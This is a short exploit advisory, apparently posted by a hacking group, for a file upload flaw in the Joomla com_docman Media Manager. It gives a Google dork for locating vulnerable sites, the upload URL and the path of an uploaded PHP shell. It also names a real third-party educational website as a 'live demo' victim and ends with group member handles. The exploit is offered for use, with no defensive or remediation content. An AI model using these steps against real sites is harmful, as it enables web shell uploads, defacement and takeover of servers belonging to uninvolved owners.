Joomla (com_docman) Media Manager File Upload Vulnerability

   _____                         ________.__                    __
  /  _  \   ____   ____   ____  /  _____/|  |__   ____  _______/  |_
 /  /_\  \ /    \ /  _ \ /    \/   \  ___|  |  \ /  _ \/  ___/\   __\
/    |    \   |  (  <_> )   |  \    \_\  \   Y  (  <_> )___ \  |  |
\____|__  /___|  /\____/|___|  /\______  /___|  /\____/____  > |__|
        \/     \/            \/        \/     \/           \/
--------------------------------------------------
| https://twitter.com/ungku_nazmi                |
| https://twitter.com/AnonGhostTeam              |
--------------------------------------------------
Category        web applications
Platform        php
# Exploit Title: Joomla (com_docman) Media Manager File Upload Vulnerability
# Date: 05/11/2014
# Exploit Author: Donnazmi
# Tested on: Windows + Linux ++
# Google dork: inurl:index.php?option=com_docman
# SS : http://photouploads.com/images/comdocman.png

# Exploit

http://localhost/path/index.php/component/media/?view=images&tmpl=component&e_name=description&asset=com_docman&author=

# Shell path:
http://localhost/images/shell.php.jpg

Live Demo :
http://www.infotepsai.edu.co/index.php/component/media/?view=images&tmpl=component&e_name=description&asset=com_docman&author=

http://www.infotepsai.edu.co/images/AG.jpg

We are:Mauritania Attacker - Virusa Worm - Jih4d - AnonxoxTn - Tak Dikenal - Younes Lmaghribi - Mrlele - Mauritania K!ll3r - V0RT3X - Dr.SaM!M_008 - BillGate - RudeAt Localhost - Pr3d4T0r - X-Wanted - PhObia_PhOneyz - Mauritania InjeCtor - Donnazmi - Black Cracker - Extazy007 - M-c0d3r - DarkR00T - haxOr trojAn - Hamzah Uygun - Hellion - CoderSec - HusseiN98D - Mr.Ajword - xIdontknow - Mr HuNT3r - rummykhan - Hani Xavi - Samir inject0r - Noname-Hax0r - Mr-Domoz Ps - TRAFIQUANT - Ghostralia - Don Maverick RevCrew